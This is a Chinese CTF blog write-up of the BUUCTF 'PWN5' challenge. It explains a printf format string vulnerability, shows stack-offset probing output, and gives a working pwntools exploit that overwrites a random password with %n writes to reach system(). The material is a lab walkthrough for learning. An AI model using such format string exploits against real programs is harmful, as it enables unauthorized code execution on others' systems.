BUUCTF Pwn [第五空间2019 决赛]PWN5

本文详细介绍了如何利用格式化字符串漏洞进行攻击。通过分析程序的checksec信息,发现存在开启的canary但未启用PIE。在IDA中分析主函数,找到了printf函数的漏洞。通过输入特定格式的字符串,确定了输入参数在栈上的位置。利用%n来修改栈上的随机数,构造payload并成功修改了内存中的值。最终,通过发送payload和目标地址,成功触发system调用,完成exploit。
摘要由CSDN通过智能技术生成

BUUCTF Pwn [第五空间2019 决赛]PWN5

1.题目下载地址

点击下载

2.checksec

在这里插入图片描述

  • 开启了canary
  • 没有PIE

2.IDA分析

在这里插入图片描述

  • 查看主函数,函数的功能是读入一个4位的随机密码,再将我们输入的密码与随机生成数比较,相同就执行system
  • 这里面的printf()存在格式化字符串漏洞

1.利用 "AAAA %08x %08x %8x %08x %08x %08x %08x………… ",这样的字符串来找到我们输入的参数在函数栈上的位置,我看别的师傅叫首地址偏移或者偏移量

2.假设是在栈上第n位,那么可以利用 %n$ 定位到参数在栈上的位置

3.利用%n来修改参数里的内容,我们不知道读入的随机数是多少,那么我们将它改成我们写入的数据不就好了


  • 首先我们要定位到我们输入的字符串在栈上的位置。
lwj@ubuntu:~/Desktop/pwn/fifth_space_pwn5$ ./pwn
your name:aaaa %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x
Hello,aaaa ffc83c68 00000063 00000000 f7f38a9c 00000003 f7f0b410 00000001 00000000 00000001 61616161 38302520 30252078 25207838 20783830 78383025 38302520 30252078 25207838

  • 我们输入的参数是在栈上的第10个,后面可以直接利用 %10$ 定位到这个位置。
  • 随机生成函数的位置是0x804c044开始的,长度为4字节,依次+1即可。
    在这里插入图片描述
  • 所以可以用%10 , ,%11 ,,%12 , ,%13 ,去定位到这4个地址,再用%n修改这这个地址里的内容,因此构造payload

4.exp

from pwn import*

r=remote('node3.buuoj.cn',26959)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'

r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值